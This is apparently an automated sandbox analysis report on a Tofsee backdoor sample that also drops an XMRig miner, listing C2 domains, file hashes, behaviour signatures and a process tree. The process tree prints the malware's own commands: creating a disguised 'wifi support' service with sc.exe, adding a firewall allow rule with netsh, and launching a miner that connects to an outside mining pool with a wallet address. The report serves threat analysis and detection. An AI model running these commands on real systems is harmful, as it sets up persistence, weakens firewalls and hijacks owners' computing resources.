Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    06/02/2023, 23:33

General

  • Target

    file.exe

  • Size

    300KB

  • MD5

    82435e30b2928e8a32c2f20330bee382

  • SHA1

    b4ca528936fa1e9fda728bfc9533d9ffc3db7206

  • SHA256

    cd903b1243722f8e4ebfddbcb37e34449d678831ee454254cefe41bd41e742cc

  • SHA512

    2a451d70a8bf7666d29e4efb24ec34b09a854fbcba491dffc32bbcde51cf91ce098d060cfd4ec3259f8659a574b281db2d8cbf03028d8698645ba8ea5128ec92

  • SSDEEP

    3072:C5Mb6bGoL9DRGhqShWy4uVfto16XVk1D04h5Tk3Qh6CYuQjiMTE5Yrea6Zi:COFoL9gccWlmtbmLt6duQj9nreaE

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mzejczw\
      2⤵
        PID:528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tqkliqgn.exe" C:\Windows\SysWOW64\mzejczw\
        2⤵
          PID:1160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mzejczw binPath= "C:\Windows\SysWOW64\mzejczw\tqkliqgn.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mzejczw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mzejczw
          2⤵
          • Launches sc.exe
          PID:1512
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1052
      • C:\Windows\SysWOW64\mzejczw\tqkliqgn.exe
        C:\Windows\SysWOW64\mzejczw\tqkliqgn.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:292
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1776

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tqkliqgn.exe

        Filesize

        11.4MB

        MD5

        d7a03e8861842ac268d57418890dbbb3

        SHA1

        970c2e496a5a2f48d0cf08dc1b0ef077c7009be8

        SHA256

        eea0a0ca33b5dcd93edaa5ba745c28f8d9da8f8fbd43aaa1af57bc946894944c

        SHA512

        3b1409f6276c1ee606c9373099d1614c22891c7b27e0315dc1a3dff276a4f457a1ad12abd01756a1c09fba51efb98f1b25bfa504f856891ab2ed99e124e5e628

      • C:\Windows\SysWOW64\mzejczw\tqkliqgn.exe

        Filesize

        11.4MB

        MD5

        d7a03e8861842ac268d57418890dbbb3

        SHA1

        970c2e496a5a2f48d0cf08dc1b0ef077c7009be8

        SHA256

        eea0a0ca33b5dcd93edaa5ba745c28f8d9da8f8fbd43aaa1af57bc946894944c

        SHA512

        3b1409f6276c1ee606c9373099d1614c22891c7b27e0315dc1a3dff276a4f457a1ad12abd01756a1c09fba51efb98f1b25bfa504f856891ab2ed99e124e5e628

      • memory/292-77-0x00000000002EC000-0x0000000000301000-memory.dmp

        Filesize

        84KB

      • memory/292-80-0x0000000000400000-0x00000000004C8000-memory.dmp

        Filesize

        800KB

      • memory/292-71-0x0000000000400000-0x00000000004C8000-memory.dmp

        Filesize

        800KB

      • memory/292-70-0x00000000002EC000-0x0000000000301000-memory.dmp

        Filesize

        84KB

      • memory/1276-66-0x00000000005BC000-0x00000000005D1000-memory.dmp

        Filesize

        84KB

      • memory/1276-67-0x0000000000400000-0x00000000004C8000-memory.dmp

        Filesize

        800KB

      • memory/1276-57-0x0000000000400000-0x00000000004C8000-memory.dmp

        Filesize

        800KB

      • memory/1276-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1276-54-0x0000000076381000-0x0000000076383000-memory.dmp

        Filesize

        8KB

      • memory/1276-55-0x00000000005BC000-0x00000000005D1000-memory.dmp

        Filesize

        84KB

      • memory/1556-72-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1556-91-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/1556-81-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1556-82-0x0000000001900000-0x0000000001B0F000-memory.dmp

        Filesize

        2.1MB

      • memory/1556-85-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/1556-88-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/1556-74-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1556-94-0x0000000005510000-0x000000000591B000-memory.dmp

        Filesize

        4.0MB

      • memory/1556-97-0x00000000001D0000-0x00000000001D7000-memory.dmp

        Filesize

        28KB

      • memory/1556-109-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1776-102-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/1776-100-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB